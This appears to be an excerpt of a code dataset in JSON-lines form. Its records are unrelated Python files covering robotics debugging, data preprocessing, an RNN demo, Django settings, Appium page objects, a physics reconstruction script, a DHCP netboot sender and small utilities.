abs(theta5-test_case[2][4])\n t_6_e = abs(theta6-test_case[2][5])\n print (\"\\nTheta 1 error is: %04.8f\" % t_1_e)\n print (\"Theta 2 error is: %04.8f\" % t_2_e)\n print (\"Theta 3 error is: %04.8f\" % t_3_e)\n print (\"Theta 4 error is: %04.8f\" % t_4_e)\n print (\"Theta 5 error is: %04.8f\" % t_5_e)\n print (\"Theta 6 error is: %04.8f\" % t_6_e)\n print (\"\\n**These theta errors may not be a correct representation of your code, due to the fact \\\n \\nthat the arm can have muliple positions. It is best to add your forward kinmeatics to \\\n \\nconfirm whether your code is working or not**\")\n print (\" \")\n\n # Find FK EE error\n if not(sum(your_ee)==3):\n ee_x_e = abs(your_ee[0]-test_case[0][0][0])\n ee_y_e = abs(your_ee[1]-test_case[0][0][1])\n ee_z_e = abs(your_ee[2]-test_case[0][0][2])\n ee_offset = sqrt(ee_x_e**2 + ee_y_e**2 + ee_z_e**2)\n print (\"\\nEnd effector error for x position is: %04.8f\" % ee_x_e)\n print (\"End effector error for y position is: %04.8f\" % ee_y_e)\n print (\"End effector error for z position is: %04.8f\" % ee_z_e)\n print (\"Overall end effector offset is: %04.8f units \\n\" % ee_offset)\n\n\n\n\nif __name__ == \"__main__\":\n # Change test case number for different scenarios\n test_case_number = 1\n\n test_code(test_cases[test_case_number])\n","sub_path":"IK_debug.py","file_name":"IK_debug.py","file_ext":"py","file_size_in_byte":10773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"622466752","text":"import pandas as pd\n\nfrom utils.DBHandler import DBHandler, SANTANDER_DB_NAME\nfrom .preprocessor import Preprocessor\nfrom utils.CleanUtils import CleanUtils\nfrom utils.FileUtils import FileUtils\n\n\nclass LogsPreprocessor(Preprocessor):\n\n daily_data = None\n weekly_data = None\n pre_data = pd.DataFrame()\n\n def __init__(self):\n # Connecting to DB\n handler = DBHandler()\n self.db = handler.get_client_db(SANTANDER_DB_NAME)\n self.logs = self.db['logs']\n self.logs_on_db = self.get_logs_on_db()\n\n def parse(self):\n # DF Manipulation\n if not self.daily_data.empty:\n self.daily_report_parser()\n if not self.weekly_data.empty:\n self.weekly_report_parser()\n\n if type(self.daily_data) == pd.DataFrame:\n self.daily_data = [self.daily_data]\n\n if type(self.weekly_data) == pd.DataFrame:\n self.weekly_data = [self.weekly_data]\n\n self.data = self.weekly_data or [] + self.daily_data or []\n\n # override\n def read(self, paths, **read_options):\n\n print(\"--- Reading ---\")\n\n weekly_file_paths = []\n daily_file_paths = []\n\n # If input is a string put inside a list.\n if type(paths) == str:\n paths = [paths]\n\n for path in paths:\n if \"history\" in path.lower():\n weekly_file_paths.append(path)\n else:\n daily_file_paths.append(path)\n\n if daily_file_paths:\n read_options['skiprows'] = 1\n daily_data = FileUtils.read(daily_file_paths, **read_options)\n if type(daily_data) == pd.DataFrame:\n daily_data = [daily_data]\n daily_data = pd.concat(daily_data, sort=False, ignore_index=True)\n\n if weekly_file_paths:\n weekly_data = pd.DataFrame()\n for weekly_file_path in weekly_file_paths:\n read_options['sheet_name'] = None\n read_options['skiprows'] = 2\n read_options['encoding'] = 'latin1'\n weekly_data_temp = FileUtils.read(\n weekly_file_path, **read_options)\n\n columns = weekly_data_temp['Ticket History IBM'].columns\n\n for sheet_name in weekly_data_temp:\n if sheet_name != \"Ticket History IBM\":\n weekly_data_temp[sheet_name].columns = columns\n\n weekly_data_temp = pd.concat(\n weekly_data_temp, sort=False, ignore_index=True)\n\n weekly_data = pd.concat([weekly_data, weekly_data_temp],\n sort=False, ignore_index=True)\n\n self.weekly_data = weekly_data\n self.daily_data = daily_data\n\n def upload(self):\n ids_on_db = self.update()\n self.logs.insert(\n [log for log in self.data if int(log['_id']) not in ids_on_db])\n print(\"Done!\")\n\n def update(self):\n print(\"--- Updating ---\")\n # Update from daily data.\n logs_on_db = {int(log['_id']): log for log in self.logs_on_db}\n logs_to_update = [log for log in self.data if log['_id']\n in logs_on_db and log != logs_on_db[log['_id']]]\n\n for log in logs_to_update:\n _id = int(log['_id'])\n for log_on_db in self.logs_on_db:\n if log_on_db.get('_id') == _id:\n log_on_db.update(log)\n self.logs.replace_one({'_id': _id}, log_on_db, upsert=True)\n print(f'Updating: {_id}')\n\n return logs_on_db.keys()\n\n def remove(self):\n self.ticket.remove()\n\n def daily_report_parser(self):\n\n # Drop unnecesary columns\n columns_to_drop = ['REGIÓN', 'DURACIO', 'MES', 'AC',\n 'PROVEEDOR', 'MODELO', 'ATENCIÓN', 'SERVICIO']\n self.daily_data = self.daily_data.drop(columns=columns_to_drop)\n\n # Handle Null end_date\n self.daily_data[['FECHA_FIN']] = self.daily_data[['FECHA_FIN']].astype(object).where(\n self.daily_data[['FECHA_FIN']].notnull(), None)\n\n # Group the same logs and put the status in a list.\n cols_group = [\n col for col in self.daily_data.columns if col != \"ESTATUS\"]\n # cols_group = [col for col in self.daily_data.columns if col != \"ESTATUS\"][14:]\n\n self.daily_data = self.daily_data.groupby(\n cols_group)['ESTATUS'].apply(list).reset_index()\n\n self.daily_data.rename(columns={'ID': 'atm'}, inplace=True)\n self.daily_data.rename(\n columns={'TIPO FALLA': 'failure_type'}, inplace=True)\n self.daily_data.rename(\n columns={'ESTATUS': 'daily_status'}, inplace=True)\n self.daily_data.rename(columns=CleanUtils.standarize_keys_dict(self.daily_data.columns),\n inplace=True)\n\n # DF became a records\n self.daily_data = self.daily_data.to_dict('records')\n\n def weekly_report_parser(self):\n\n # Handle Null end_date\n self.weekly_data[['FECHA_FIN']] = self.weekly_data[['FECHA_FIN']].astype(object).where(\n self.weekly_data[['FECHA_FIN']].notnull(), None)\n\n # Group the same logs and put the status in a list.\n cols_group = [\n col for col in self.weekly_data.columns if col != \"STATUS\"]\n self.weekly_data = self.weekly_data.groupby(\n cols_group)['STATUS'].apply(list).reset_index()\n\n self.weekly_data.rename(columns={'ID': 'atm'}, inplace=True)\n self.weekly_data.rename(columns=CleanUtils.standarize_keys_dict(self.weekly_data.columns),\n inplace=True)\n # self.weekly_data.to_csv(\"weekly.csv\", index=False, encoding='latin1')\n\n # DF became a records\n self.weekly_data = self.weekly_data.to_dict('records')\n\n def get_logs_on_db(self):\n logs = [log for log in self.logs.find({})]\n return logs\n","sub_path":"preprocessors/LogsPreprocessor.py","file_name":"LogsPreprocessor.py","file_ext":"py","file_size_in_byte":5952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"460268413","text":"#!/usr/bin/env python3\r\n#\r\n\r\n\r\nimport contextlib\r\nimport os\r\nimport json\r\n\r\n\r\ndef demo01(f):\r\n with contextlib.suppress(FileNotFoundError):\r\n os.remove(f)\r\n\r\n\r\ndef demo02(f):\r\n try:\r\n os.remove(f)\r\n except FileNotFoundError as e:\r\n print(json.dumps({'e.strerror': e.strerror, 'file': f}, indent=4, sort_keys=True))\r\n\r\n\r\nif __name__ == '__main__':\r\n f_tmp = 'somefile.tmp'\r\n demo01(f_tmp)\r\n demo02(f_tmp)\r\n","sub_path":"basic_/contextlib_/demo01.py","file_name":"demo01.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"181934618","text":"import numpy as np \n'''\n简单的两层的rnn循环神经网络的前向传播的计算过程流程图\n'''\nx=[1,2]\nstate=[0.0,0.0]\n#分开定义不同输入部分的权重以方便操作\nw_cell_state=np.asarray([[0.1,0.2],[0.3,0.4]])\nw_cell_input=np.asarray([0.5,0.6])\nb_cell=np.asarray([0.1,-0.1])\n\n#定义用于输出的全连接层参数\nw_output=np.asarray([[1.0],[2.0]])\nb_output=0.1\n\n#按照时间顺序执行循环神经网络的钱箱传播过程\nfor i in range(len(x)):\n\t#计算循环体中全连接层神经网络。\n\tbefore_activation=np.dot(state,w_cell_state)+x[i]*w_cell_input+b_cell\n\tstate=np.tanh(before_activation)\n\t#根据当前时刻状态计算最终输出\n\tfinal_output=np.dot(state,w_output)+b_output\n\tprint(\"before activation:\",before_activation)\n\tprint(\"state:\",state)\n\tprint(\"output:\",final_output)\n\n","sub_path":"rnn/simForward.py","file_name":"simForward.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"301526768","text":"\"\"\"Contains common project settings.\"\"\"\nimport os\n\n# paths\nPROJECT_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nAPP_ROOT = os.path.dirname(PROJECT_ROOT)\nLOG_DIR = os.path.join(APP_ROOT, 'logs')\n\n# application security\nSECRET_KEY = '!qv0@npz4)8l7^4zp-$uvj7(2)n(+vz0_*wg4sj_kyt%zycoq0'\n\n# application definitions\nROOT_URLCONF = 'movies.urls'\nWSGI_APPLICATION = 'movies.wsgi.application'\n\n#\n# dependencies\n#\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n)\n\n# internationalization\nLANGUAGE_CODE = 'en-us'\nUSE_I18N = True\nUSE_L10N = True\n\n# timezone awareness\nUSE_TZ = True\nTIME_ZONE = 'UTC'\n\n# statics (required)\nSTATIC_URL = '/static/'\n\n# database (unused)\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(APP_ROOT, 'db.sqlite3')\n }\n}\n\n# logging\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n\n 'formatters': {\n 'standard': {\n 'format': \"{'timestamp': '%(asctime)s', 'level': '%(levelname)s', 'module': '%(module)s', 'message': '%(message)s'}\"\n },\n\n 'detailed': {\n 'format': \"{'timestamp': '%(asctime)s', 'level': '%(levelname)s', 'module': '%(module)s', 'function': '%(funcName)s', 'line': '%(lineno)d', 'message': '%(message)s'}\"\n }\n },\n\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n 'formatter': 'standard',\n 'stream': 'ext://sys.stdout'\n },\n\n 'logfile': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'formatter': 'detailed',\n 'filename': os.path.join(LOG_DIR, 'movies.log'),\n 'maxBytes': 5*1024*1024,\n 'backupCount': 5,\n 'encoding': 'utf8'\n }\n },\n\n 'loggers': {\n 'movies': {\n 'level': 'INFO',\n 'handlers': ['logfile']\n }\n },\n\n 'root': {\n 'level': 'NOTSET',\n 'handlers': ['console', 'logfile']\n }\n}\n","sub_path":"devhub-api/movies/settings/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"397600394","text":"#sort an array with 0 and 1\nclass TestCases:\n def __init__(self,input,output):\n self.input = input\n self.output = output\nc1 = TestCases([1,1,0,0],[0,0,1,1])\nc2 = TestCases([1,0,1,0],[0,0,1,1])\nc3 = TestCases([],[])\nc4 = TestCases([1,2,3,4],[1])\nc5 = TestCases([5,6,7,0,6],[0])\ntestList = [c1,c2,c3,c4,c5]\n\nl = [1,2,3,4]\ndef arrSort10(l):\n x = []\n y = []\n for i in l :\n if(i == 0):\n x.append(i)\n elif(i==1):\n y.append(i)\n joined_list = [*x, *y]\n return(joined_list)\n\n\nfor i in testList:\n value = arrSort10(i.input)\n if(value==i.output):\n print('Passed')\n else:\n print('failed')","sub_path":"arrSort10.py","file_name":"arrSort10.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"537663548","text":"from typing import List\n\n\nclass Basin:\n \"\"\"Represents a basin.\"\"\"\n\n def __init__(\n self, elevation_map: List[List[int]], row: int, col: int) -> None:\n \"\"\"Search a basin area given a low point's row and column.\n\n Args:\n elevation_map (List[List[int]]): the elevation map as a 2D list\n row (int): row of the low point\n col (int): column of the low point\n\n \"\"\"\n self.map = elevation_map\n self.start_row = row\n self.start_col = col\n self.width = len(elevation_map[0])\n self.height = len(elevation_map)\n self.visited = [(row, col)]\n self.peak = 9\n\n def elevation_in_range(\n self, row_a: int, col_a: int, row_b: int, col_b: int) -> bool:\n \"\"\"Check if the tile elevations are in range (within 0 or 1, absolute).\n\n Args:\n row_a (int): row of point A\n col_a (int): col of point A\n row_b (int): row of point B\n col_b (int): col of point B\n\n Returns:\n bool: True if tiles are in right elevation range\n\n \"\"\"\n elevation_a = self.map[row_a][col_a]\n elevation_b = self.map[row_b][col_b]\n return self.peak not in (elevation_a, elevation_b)\n # Misread :( - difference in elevation does *not* matter!\n # It only matters if any of the tiles are of elevation 9.\n # return False\n # diff = abs(elevation_a - elevation_b)\n # return diff in range(2)\n\n def traverse(self, row: int = -1, col: int = -1) -> int:\n \"\"\"Traverse the basin by coordinates.\n\n Neighbors must be within 1 of current elevation and not 9.\n\n If both row and col are -1, use the default starting position.\n\n Args:\n row (int, optional): the row of current position; defaults to -1\n col (int, optional): the column of the current position;\n defaults to -1\n\n Returns:\n int: area traversed of basin\n \n \"\"\"\n if (row, col) in self.visited:\n return 0\n\n area = 1\n if row == -1 and col == -1:\n row = self.start_row\n col = self.start_col\n\n self.visited.append((row, col))\n\n # Recurse upward.\n if row > 0 and self.elevation_in_range(row - 1, col, row, col):\n up = self.traverse(row - 1, col)\n else:\n up = 0\n\n # Recurse downward.\n if (row < self.height - 1\n and self.elevation_in_range(row + 1, col, row, col)):\n down = self.traverse(row + 1, col)\n else:\n down = 0\n\n # Recurse leftward.\n if col > 0 and self.elevation_in_range(row, col - 1, row, col):\n left = self.traverse(row, col - 1)\n else:\n left = 0\n\n # Recurse rightward.\n if (col < self.width - 1\n and self.elevation_in_range(row, col + 1, row, col)):\n right = self.traverse(row, col + 1)\n else:\n right = 0\n\n return area + up + down + left + right\n","sub_path":"2021/09/basin.py","file_name":"basin.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"32707718","text":"import devfx.math as math\nimport devfx.statistics as stats\nimport devfx.data_vizualization as dv\n \n\"\"\"------------------------------------------------------------------------------------------------\n\"\"\" \ndef test_htest():\n # Initial we have a teortical distribution which we ssume it is correct\n mu0 = 8.0\n sigma0 = 2.0\n\n # For this example we generate some data, but this data is our new data which we want to test against theortical assumptions\n mu = 8.5\n sigma = sigma0\n data = stats.distributions.normal(mu, sigma).rvs(256)\n\n (n, mean, S, cv, pvalue, alpha, rejectH0) = stats.tests.htest.mean.normal(data).upper_tailed(mu0, sigma0)\n print((n, mean, S, cv, pvalue, alpha, rejectH0))\n \n\"\"\"------------------------------------------------------------------------------------------------\n\"\"\" \ndef test():\n test_htest()\n\n\"\"\"------------------------------------------------------------------------------------------------\n\"\"\" \nif __name__ == '__main__':\n test()\n\n\n","sub_path":"solution/devfx_samples/statistics/tests/htest.py","file_name":"htest.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"533367493","text":"import random\nimport time\n\nimport allure\nfrom selenium.webdriver.common.by import By\n\nfrom base.base_action import BaseAction\n\n\nclass GoodsDetailPage(BaseAction):\n\n # 加入购物车 按钮\n add_shop_cart = By.ID, \"com.yunmall.lc:id/btn_add_to_shopping_cart\"\n\n # 确认 按钮\n commit_button = By.ID, \"com.yunmall.lc:id/select_detail_sure_btn\"\n\n # 商品标题特征\n goods_title_text_view = By.ID, \"com.yunmall.lc:id/tv_product_title\"\n\n # 购物车 按钮\n shop_cart_button = By.ID, \"com.yunmall.lc:id/btn_shopping_cart\"\n\n # 点击 加入购物车\n @allure.step(title='商品详情 点击 加入购物车')\n def click_add_shop_cart(self):\n self.click(self.add_shop_cart)\n\n # 点击 确认\n @allure.step(title='商品详情 点击 确认')\n def click_commit(self):\n self.click(self.commit_button)\n\n # 点击 购物车\n @allure.step(title='商品详情 点击 购物车')\n def click_shop_cart(self):\n self.click(self.shop_cart_button)\n\n # 获取商品的标题\n @allure.step(title='商品详情 获取 商品的标题')\n def get_goods_title_text(self):\n return self.get_text(self.goods_title_text_view)\n\n # 根据商品的标题,判断是否存在这个页面上\n @allure.step(title='商品详情 获取 商品的标题是否在页面上')\n def is_goods_title_exist(self, text):\n title_xpath = By.XPATH, \"//*[@text = '%s']\" % text\n return self.is_feature_exist(title_xpath)\n\n # 根据 \"请选择 规格 分类\" 获取 请选择后面的第一个规格的名字\n @allure.step(title='商品详情 获取 请选择后面的文字信息')\n def get_choose_spec(self, text):\n return text.split(\" \")[1]\n\n # 选择 规格\n @allure.step(title='商品详情 点击 商品规格')\n def click_spec(self):\n while True:\n self.click_commit()\n if self.is_toast_exist(\"请选择\"):\n spec_name = self.get_choose_spec(self.get_toast_text(\"请选择\"))\n spec_feature = By.XPATH, \"//*[@text = '%s']/../*[2]/*[1]\" % spec_name\n self.click(spec_feature)\n time.sleep(1)\n else:\n break","sub_path":"page/goods_detail_page.py","file_name":"goods_detail_page.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"617293805","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*\nimport json\n\nparameters = dict()\njson_file_database = \"../CONFIG/database.json\"\njson_file_distribution = \"../CONFIG/distribution.json\"\n\n\ndef get_parameters():\n with open(json_file_database) as database_file:\n database = json.load(database_file)\n parameters[\"hostname\"] = database[\"hostname\"]\n parameters[\"username\"] = database[\"username\"]\n parameters[\"password\"] = database[\"password\"]\n parameters[\"database_source\"] = database[\"databases\"][\"source\"]\n parameters[\"database_modulation\"] = database[\"databases\"][\"modulation\"]\n parameters[\"database_distribution\"] = database[\"databases\"][\"distribution\"]\n parameters[\"database_evaluation\"] = database[\"databases\"][\"evaluation\"]\n\n with open(json_file_distribution) as distribution_file:\n distribution = json.load(distribution_file)\n parameters[\"table_captured\"] = distribution[\"tablename_captured\"]\n parameters[\"type\"] = distribution[\"TYPE\"]\n parameters[\"threads\"] = distribution[\"THREADS\"]\n parameters[\"WIN_BEGIN\"] = distribution[\"WIN_BEGIN\"]\n parameters[\"WIN_END\"] = distribution[\"WIN_END\"]\n parameters[\"WIN_STEP\"] = distribution[\"WIN_STEP\"]\n\n return parameters\n\n","sub_path":"5-Calculation-FFT/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"194504274","text":"\"\"\"Assess transcript abundance in RNA-seq experiments using Cufflinks.\n\nhttp://cufflinks.cbcb.umd.edu/manual.html\n\"\"\"\nimport os\nimport subprocess\n\nfrom bcbio.pipeline import config_utils\n\ndef assemble_transcripts(align_file, ref_file, config, data):\n \"\"\"Create transcript assemblies using Cufflinks.\n \"\"\"\n work_dir, fname = os.path.split(align_file)\n num_cores = config[\"algorithm\"].get(\"num_cores\", 1)\n core_flags = [\"-p\", str(num_cores)] if num_cores > 1 else []\n out_dir = os.path.join(work_dir,\n \"{base}-cufflinks\".format(base=os.path.splitext(fname)[0]))\n cl = [config_utils.get_program(\"cufflinks\", config),\n align_file,\n \"-o\", out_dir,\n \"-b\", ref_file,\n \"-u\"]\n cl += core_flags\n tx_file = data[\"genome_resources\"][\"rnaseq\"][\"transcripts\"]\n tx_mask_file = data[\"genome_resources\"][\"rnaseq\"][\"transcripts_mask\"]\n if tx_file:\n cl += [\"-g\", tx_file]\n if tx_mask_file:\n cl += [\"-M\", tx_mask_file]\n out_tx_file = os.path.join(out_dir, \"transcripts.gtf\")\n if not os.path.exists(out_tx_file):\n subprocess.check_call(cl)\n assert os.path.exists(out_tx_file)\n return out_tx_file\n","sub_path":"bcbio/rnaseq/cufflinks.py","file_name":"cufflinks.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"434437735","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n#######################################################\n#\n# Stuck? Ask for help at questions.belle2.org\n#\n# This tutorial demonstrates how to load generated final\n# state particles (MCParticle objects) as Particles and\n# create ParticleLists for each final state particle\n# type: gamma/e/mu/pi/K/proton/K_L.\n#\n# All analysis modules and tools (e.g. making combinations, ...)\n# have interfaces for ParticleLists so this step is\n# neccessary if analysis tools are to be used.\n#\n# Contributors: A. Zupanc (June 2014)\n#\n######################################################\n\nfrom basf2 import *\nfrom modularAnalysis import analysis_main\nfrom modularAnalysis import *\nfrom modularAnalysis import inputMdst \nfrom stdCharged import *\nfrom stdPi0s import *\nfrom stdV0s import *\nfrom vertex import *\nimport os.path\nimport sys\nif not os.path.isfile('RootOutput_BGx0.root'):\n sys.exit('Required input file (RootOutput.root) does not exist. '\n )\n\n# load input ROOT file\ninputMdst('default', 'RootOutput_BGx0.root')\n\n# print contents of the DataStore before loading MCParticles\n\n\n# create and fill gamma/e/mu/pi/K/p ParticleLists\n# second argument are the selection criteria: '' means no cut, take all\n#stdPhotons() enable this when we have to look at the pi0s->2gamma\nstdPi('all')\nstdLoosePi()\nstdPi0s()\n#stdKshorts()\n\n\n\"\"\"\n#standard libs from scripts examples\npi0 = ('pi0:gen', '')\npions = ('pi+:gen','') #pi-:gen will be created as well \nKshort = ('K_S0:gen', '')\nphotons = ('gamma:gen','')\nfillParticleListsFromMC([photons, pions, pi0])\n\"\"\"\n\n#reconstruction of the decay B0->KsKsKs\n# frist Ks reconstruction \ncutAndCopyList('pi-:mine','pi-:all','piid > 0. and chiProb > 0.001')\nreconstructDecay('K_S0:cha1 -> pi+:mine pi-:mine','0.45 < M < 0.55',1) #same as stdKs\nvertexRave('K_S0:cha1', 0.0, \"K_S0:cha1 -> ^pi+:mine ^pi-:mine\")\n\nmatchMCTruth('K_S0:cha1')\n#reconstructDecay('K_S0:chi2 -> pi0 pi0','',2) enable it when considering pi0 channel\n#then B0\n\nreconstructDecay('B0:3Ks -> K_S0:cha1 K_S0:cha1 K_S0:cha1','Mbc > 5.0 and abs(deltaE) < 0.5')\nvertexRave('B0:3Ks', 0.0, \"B0 -> ^K_S0:cha1 ^K_S0:cha1 ^K_S0:cha1\",\"iptube\")\nbuildRestOfEvent('B0:3Ks')\n\n#MCmatching for B0:3Ks\nmatchMCTruth('B0:3Ks')\n\n#tagV\nTagV('B0:3Ks','breco')\n\n#offline data creation \ntoolsB = ['EventMetaData', '^B0']\ntoolsB += ['InvMass', '^B0 -> ^K_S0 ^K_S0 ^K_S0']\ntoolsB += ['CMSKinematics', '^B0 -> ^K_S0 ^K_S0 ^K_S0']\ntoolsB += ['PID', 'B0 -> [K_S0 -> ^pi+ ^pi-] [K_S0 -> ^pi+ ^pi-] [K_S0 -> ^pi+ ^pi-]']\ntoolsB += ['Track', 'B0 -> [K_S0 -> ^pi+ ^pi-] [K_S0 -> ^pi+ ^pi-] [K_S0 -> ^pi+ ^pi-]']\ntoolsB += ['MCTruth', '^B0']\ntoolsB += ['TagVertex','^B0']\ntoolsB += ['MCTagVertex', '^B0']\ntoolsB += ['DeltaT','^B0']\ntoolsB += ['MCDeltaT','^B0']\n\ntoolsB += ['Vertex','^B0 -> ^K_S0 ^K_S0 ^K_S0']\ntoolsB += ['CustomFloats[isSignal]', '^B0 -> ^K_S0 ^K_S0 ^K_S0']\n\n# write out the flat ntuple\nntupleFile('B2KsKsKs_Reconstruction.root')\nntupleTree('tree', 'B0:3Ks', toolsB)\n# print contents of the DataStore after loading MCParticles\nprintDataStore()\n# the difference\n\n# print contents of the DataStore after loading MCParticles\n# the difference is that DataStore now contains StoreArray\n# filled with Particles created from generated final state particles\n\n\n# print out the contents of each ParticleList\n\n# print out the summary\nanalysis_main.add_module('PrintCollections')\n#analysis_main.add_module('Interactive')\nprocess(analysis_main)\nprint(statistics)\n\n","sub_path":"reco.py","file_name":"reco.py","file_ext":"py","file_size_in_byte":3488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"183074634","text":"def substrings1(s):\n ans = []\n size = range(len(s)+1)\n for j in size:\n for i in size:\n if i > j: print(s[j:i]); ans += [s[j:i]]\n return ans\n\ndef substrings2(s):\n if len(s) == 1: print(s); return [s]\n subs = []\n for i in range(len(s)):\n subs += [s[:i+1]]\n print(s[:i+1])\n return subs + substrings2(s[1:])\n\ndef substrings3(s, i=None):\n if i != None:\n if i < len(s):\n if s[:i] != '':\n print(s[:i])\n if len(s) == i-1: \n print(s)\n return s\n return list(substrings3(s, i+1)) + [s]\n if s == '': return []\n ans = substrings3(s, 0)\n return list(ans) + substrings3(s[1:])\n \nt = \"thamireseeeee\"\n(substrings1(t))\n(substrings2(t))\n(substrings3(t))\n","sub_path":"substrings.py","file_name":"substrings.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"519101313","text":"# Copyright 2019 Andreas Traber\n# Licensed under MIT (https://github.com/atraber/escapemgmt/LICENSE)\nimport fcntl\nimport ipaddress\nimport socket\nimport struct\n\nfrom packet import Packet\n\n\nclass Sender:\n def __init__(self, interface: str):\n self.sock = socket.socket(type=socket.SOCK_DGRAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n self.sock.setsockopt(\n socket.SOL_SOCKET, socket.SO_BINDTODEVICE,\n interface.encode('utf-8'))\n self.sock.bind(('', 67))\n\n # Figure out our local IP\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n packed = socket.inet_ntoa(fcntl.ioctl(\n s.fileno(),\n 0x8915, # SIOCGIFADDR\n struct.pack('256s', interface.encode('utf-8'))\n )[20:24])\n self.ip = ipaddress.IPv4Address(packed)\n\n def sendPacket(self, packet, addr='255.255.255.255'):\n data = packet.toBytes()\n self.sock.sendto(data, (addr, 68))\n\n def getIP(self) -> ipaddress.IPv4Address:\n return self.ip\n","sub_path":"netboot/dhcp/sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"42078544","text":"import os\nfrom exceptions.XMLResourcesInvalidPath import XMLResourcesInvalidPath\nfrom exceptions.NoSuchSDTable import NoSuchSDTable\nfrom SDTable import SDTable\n\nclass XMLResources(object):\n \"\"\"\n This class is the interface to the Folder XMLResources in the SymbolicData folder tree.\n Its purpose is, that one can access the different SD-Tables inside this folder.\n\n .. moduleauthor:: Albert Heinle \n \"\"\"\n\n __requiredTables = [\"IntPS\",\n \"FreeAlgebras\",\n \"ModPS\",\n \"GAlgebras\"]\n \"\"\"\n At least one of those tables should be contained in XMLResources for being able to work with this table.\n This will be checked when creating this instance\n \"\"\"\n\n def __init__(self, folder=os.path.join(\"..\",\"..\",\"data\", \"XMLResources\")):\n \"\"\"\n This function is the constructor of the class XMLResources. It sets the internal\n variable folder to the given path. If the given folder is not valid, the constructor raises\n an exception.\n\n :requires: Existence of the folder that was given as input\n :param folder: The path to the XMLResources Folder\n :type folder: A string representing a valid path\n :raise XMLResourcesInvalidPath: If given folder is not valid, this exception is raised\n \"\"\"\n \n if not os.path.isdir(folder):\n raise XMLResourcesInvalidPath(\"The given folder \" + str(folder) + \" is not a valid path!\")\n if not self.__isValidXMLResourcesFolder(folder):\n raise XMLResourcesInvalidPath(\"The given folder \" + str(folder) + \"is not a valid XMLResources folder.\\\n Some of the required tables are missing\")\n self.__folder = os.path.abspath(folder)\n\n def __isValidXMLResourcesFolder(self, folder):\n \"\"\"\n Checks the validity of the given folder. It is valid, if at least one of the tables of the variable\n __requiredTables is contained in this folder.\n \"\"\"\n tablesInFolder = filter(lambda f: os.path.isdir(os.path.join(folder, f)),\n os.listdir(folder))\n containedInRequiredTables = map(lambda f: f in self.__requiredTables,tablesInFolder)\n return (True if len(containedInRequiredTables)>0 else False)\n\n def loadSDTable(self, tableName):\n \"\"\"\n Returns an instance of SD-Table specified by the given parameter \"tableName\"\n\n :param tableName: The name of the table the user wants to have access to\n :type tableName: string\n :return: An instance of SDTable representing the SDTable given by tableName\n :rtype: SDTable\n :raise NoSuchSDTable: If the requested SD-Table does not exist, this exception is raised\n \"\"\"\n if not os.path.isdir(os.path.join(self.__folder,tableName)):\n raise NoSuchSDTable(\"The table \"+str(tableName)+ \" does not exist in the XMLResources folder!\")\n return SDTable(os.path.join(self.__folder, tableName))\n\n def listSDTables(self):\n \"\"\"\n Returns a list with all available SD-Tables in the XMLResources folder.\n\n :rtype: list\n :returns: A list with all SD-Tables available\n \"\"\"\n return filter(lambda f: os.path.isdir(os.path.join(self.__folder, f)),\n os.listdir(self.__folder))\n\n def getPath(self):\n \"\"\"\n Returns the Path to the XMLResources folder.\n\n :returns: Path of the XMLResources folder.\n :rtype: string\n \"\"\"\n return self.__folder\n\n def __str__(self):\n \"\"\"\n Returns a String representation of the instance of XMLResources. It has the following format::\n Folder: \n Folder contains the following SDTables:\n \n \n ...\n \"\"\"\n result = \"Folder: {0}\\n\\\nFolder contains the following SDTables:\\n{1}\".format(self.__folder, 